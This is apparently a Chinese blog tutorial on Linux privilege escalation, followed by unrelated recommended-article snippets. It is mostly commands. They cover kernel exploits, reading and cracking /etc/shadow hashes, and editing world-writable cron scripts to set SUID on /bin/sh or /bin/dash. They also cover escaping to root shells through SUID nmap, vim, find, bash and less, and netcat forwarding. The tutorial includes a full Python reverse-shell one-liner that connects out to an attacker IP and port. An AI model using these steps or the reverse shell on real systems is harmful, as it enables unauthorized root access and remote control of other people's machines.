Linux常见提权

常见的linux提权

内核漏洞提权

查看发行版

1cat /etc/issue 2cat /etc/*-release

查看内核版本

uname -a

查看已经安装的程序

1dpkg -l 2rpm -qa

通过一些现有的exp,上传到目标主机,执行exp,直接获取root权限

github地址https://github.com/SecWiki/linux-kernel-exploits

明文root密码权限

大多数linux系统的密码都和/etc/passwd和/etc/shadow这两个配置文件息息相关。passwd里面储存了用户,shadow里面是密码的hash。出于安全考虑passwd是全用户可读,root可写的。shadow是仅root可读写的

典型的etc/passwd文件

1root:x:0:0:root:/root:/bin/bash 2daemon:x:1:1:daemon:/usr/sbin:/bin/sh 3bin:x:2:2:bin:/bin:/bin/sh 4sys:x:3:3:sys:/dev:/bin/sh 5sync:x:4:65534:sync:/bin:/bin/sync 6games:x:5:60:games:/usr/games:/bin/sh 7man:x:6:12:man:/var/cache/man:/bin/sh 8lp:x:7:7:lp:/var/spool/lpd:/bin/sh mail:x:8:8:mail:/var/mail:/bin/sh news:x:9:9:news:/var/spool/news:/bin/sh uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh proxy:x:13:13:proxy:/bin:/bin/sh www-data:x:33:33:www-data:/var/www:/bin/sh backup:x:34:34:backup:/var/backups:/bin/sh list:x:38:38:Mailing List Manager:/var/list:/bin/sh irc:x:39:39:ircd:/var/run/ircd:/bin/sh nobody:x:65534:65534:nobody:/nonexistent:/bin/sh ibuuid:x:100:101::/var/lib/libuuid:/bin/sh syslog:x:101:103::/home/syslog:/bin/false sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin

passwd由冒号分割,第一列是用户名,第二列是密码,x代表密码hash被放在shadow里面了(这样非root就看不到了)。而shadow里面最重要的就是密码的hash

典型etc/shadow文件

1root:$6$URgq7sJf$4x8e9ntqTwAPIubi9YLxLQ2mZTTZKnGz0g/wWzOdPB5eGuz.S5iRtFdvfFd9VIVEWouiodB/hh9BYOLgAD8u5/:16902:0:99999:7::: 2daemon:*:15730:0:99999:7::: 3bin:*:15730:0:99999:7::: 4sys:*:15730:0:99999:7::: 5sync:*:15730:0:99999:7::: games:*:15730:0:99999:7::: man:*:15730:0:99999:7::: lp:*:15730:0:99999:7::: mail:*:15730:0:99999:7::: news:*:15730:0:99999:7::: uucp:*:15730:0:99999:7::: proxy:*:15730:0:99999:7::: www-data:*:15730:0:99999:7::: backup:*:15730:0:99999:7::: list:*:15730:0:99999:7::: irc:*:15730:0:99999:7::: gnats:*:15730:0:99999:7::: nobody:*:15730:0:99999:7::: libuuid:!:15730:0:99999:7::: syslog:*:15730:0:99999:7::: mysql:!:15730:0:99999:7::: dovecot:*:15730:0:99999:7::: sshd:*:15730:0:99999:7::: postfix:*:15730:0:99999:7:::

查看权限

ls -l passwd shadow

如果passwd可写,我们就可以把root的密码字段(x)替换成一个已知密码的hash(比如本机shadow里面的root密码hash),这样系统在验证密码时以passwd的为准,密码就已知了。如果shadow可读,我们可以读走root的hash,然后用hashcat或者john暴力破解之。

密码复用

很多管理员会重复使用密码,因此数据库或者web后台的密码也许就是root密码。

SUDO提权

在之前的Acid靶机渗透中提到

有了(疑似)root密码怎么办?你一定想ssh登陆。然而ssh很可能禁止root登陆,或是防火墙规则将你排除在外了。返回来想,我们不是有一个低权shell了吗?找个办法再上面“输入”密码就好了。显然,直接在低权shell里面用sudo是不奏效的。这是因为出于安全考虑,linux要求用户必须从终端设备(tty)中输入密码,而不是标准输入(stdin)。换句话说,sudo在你输入密码的时候本质上是读取了键盘,而不是bash里面输入的字符。因此为了能够输入密码,我们必须模拟一个终端设备。python就有这样的功能。在shell里面输入:

python -c 'import pty;pty.spawn("/bin/sh")'

就用python简历了一个虚拟终端,然后就可以使用sudo等等命令了。

1python -c 'import pty;pty.spawn("/bin/sh")' 2$ sudo su 3sudo su 4[sudo] password for www-data: 123456 5Sorry, try again. 6[sudo] password for www-data: 

计划任务

系统内可能会有一些定时执行的任务,一般这些任务由crontab来管理,具有所属用户的权限。非root权限的用户是不可以列出root用户的计划任务的。但是/etc/内系统的计划任务可以被列出

ls -l /etc/cron*

默认这些程序以root权限执行,如果有幸遇到一个把其中脚本配置成任意用户可写的管理员,我们就可以修改脚本等回连rootshell了

打个比方,管理员设置了一个计划任务,定时使用clean,py清理文件。并且设置权限如下:

方法一:

我们复制了/bin/sh到/tmp下并为/tmp/sh启用了SUID。使用编辑器打开sanitizer.py并将**“rm -r /tmp/*”**中的内容替换为以下两行:

1os.system('cp /bin/sh /tmp/sh') 2os.system('chmod u+s /tmp/sh')

一段时间后,它将在/tmp目录内创建一个具有SUID权限的sh文件,当你运行它时,你将会获取root访问权限

1cd /tmp 2ls 3./sh 4id 5whoami 

方法二:

替换

os.system(‘chmod u+s /bin/dash)

一段时间后,它将为/bin/dash设置SUID权限,并且在运行时会给予root访问权限。

1/bin/dash 2id 3whoami

方法三:

在这种方法中,我们在rm -r /tmp/*的位置粘贴了python反向shell连接代码,并在新的终端中启动了netcat侦听。=>直接反弹shell,弹回的是具有root权限的

还有一些方法,在下文的学习链接中,不一一赘述。

SUID提权

SUID是一种特殊的文件属性,它允许用户执行的文件以该文件的拥有者的身份运行

为文件附上这样的权限命令:

chmod u+s

或者

chmod 4755

-rwsr-xr-x 1 root root 8632 Mar 15 20:53 suid-exp 

像这样有s标志位的可执行权限的文件,运行后就是以ROOT用户执行

其中,大家熟知的具有提权功能的Linux可执行文件包括:

1Nmap 2Vim 3find 4Bash 5More 6Less 7Nano 8cp

 以下命令可以找到正在系统上运行的所有SUID可执行文件。准确的说,这个命令将从/目录中查找具有SUID权限位且属主为root的文件并输出它们,然后将所有错误重定向到/dev/null,从而仅列出该用户具有访问权限的那些二进制文件。

1find / -user root -perm -4000 -print 2>/dev/null 2find / -perm -u=s -type f 2>/dev/null 3find / -user root -perm -4000 -exec ls -ldb {} ;

Nmap

较旧版本的Nmap(2.02至5.21)带有交互模式,从而允许用户执行shell命令。由于Nmap位于上面使用root权限执行的二进制文件列表中,因此可以使用交互式控制台来运行具有相同权限的shell。

nmap -V

 

为了启动交互模式,可以使用Nmap参数“interactive”。

 以下命令将提供一个提权后的shell

1nmap> !sh 2sh-3.2# whoami 3root

 此外,还有一个Metasploit模块,也可以通过SUID Nmap二进制文件进行提权。

exploit/unix/local/setuid_nmap

Find

find命令 -exec参数可以用来指定系统命令,如果有py环境,可以直接将root权限,py反弹

py反弹命令:

python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('ip',port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"

 

Vim

Vim的主要用途是用作文本编辑器。 但是,如果以SUID运行,它将继承root用户的权限,因此可以读取系统上的所有文件。

vim.tiny /etc/shadow

 此外,我们还可以通过Vim运行shell来执行只有root才能完成的操作。

1vim.tiny 2# Press ESC key 3:set shell=/bin/sh 4:shell

Bash

以下命令将以root身份打开一个bash shell

1bash -p 2bash-3.2# id 3uid=1002(service) gid=1002(service) euid=0(root) groups=1002(service)

Less

程序Less也可以执行提权后的shell。同样的方法也适用于其他许多命令。  

1less /etc/passwd 2!/bin/sh

劫持环境变量提权

放上文章,自己看不懂

https://www.freebuf.com/articles/system/173903.html

网络与隐藏的服务

有一些服务器的服务会被配置成对内网或者对本机开放。通过对他们的攻击我们有机会接触更多的敏感文件,或是运气足够好碰上一个远程root漏洞。

netstat -antup#查看各种网络服务

 如果找到些神秘的服务,可以用netcat做个转发

1mkfifo backpipe 2nc -l 8082 0<backpipe | nc remote_host 445 1>backpipe

之后找漏洞,攻击,从头再来。

分享一些辅助linux提权的工具(github上都有)

 unix-privesc-check: http://pentestmonkey.net/tools/audit/unix-privesc-check

附上学习资料链接:

https://www.cnblogs.com/hookjoy/p/6612595.html 综合

https://www.anquanke.com/post/id/86979  SUID

https://www.freebuf.com/articles/system/173903.html  劫持环境变量提权

点赞
收藏

评论区

加载中...

相关推荐

MySQL:[Err] 1292 - Incorrect datetime value: ‘0000-00-00 00:00:00‘ for column ‘CREATE_TIME‘ at row 1

文章目录问题用navicat导入数据时,报错:原因这是因为当前的MySQL不支持datetime为0的情况。解决修改sql\mode:sql\mode:SQLMode定义了MySQL应支持的SQL语法、数据校验等,这样可以更容易地在不同的环境中使用MySQL。全局s

Oracle 分组与拼接字符串同时使用

SELECTT.,ROWNUMIDFROM(SELECTT.EMPLID,T.NAME,T.BU,T.REALDEPART,T.FORMATDATE,SUM(T.S0)S0,MAX(UPDATETIME)CREATETIME,LISTAGG(TOCHAR(

MySQL部分从库上面因为大量的临时表tmp_table造成慢查询

背景描述Time:20190124T00:08:14.70572408:00User@Host:@Id:Schema:sentrymetaLast_errno:0Killed:0Query_time:0.315758Lock_

皕杰报表之UUID

​在我们用皕杰报表工具设计填报报表时,如何在新增行里自动增加id呢?能新增整数排序id吗?目前可以在新增行里自动增加id,但只能用uuid函数增加UUID编码,不能新增整数排序id。uuid函数说明:获取一个UUID,可以在填报表中用来创建数据ID语法:uuid()或uuid(sep)参数说明:sep布尔值,生成的uuid中是否包含分隔符'',缺省为

手写Java HashMap源码

HashMap的使用教程HashMap的使用教程HashMap的使用教程HashMap的使用教程HashMap的使用教程22

2020年前端实用代码段,为你的工作保驾护航

有空的时候,自己总结了几个代码段,在开发中也经常使用,谢谢。1、使用解构获取json数据let jsonData  id: 1,status: "OK",data: 'a', 'b';let  id, status, data: number   jsonData;console.log(id, status, number )

Linux常见提权 - HelloWorld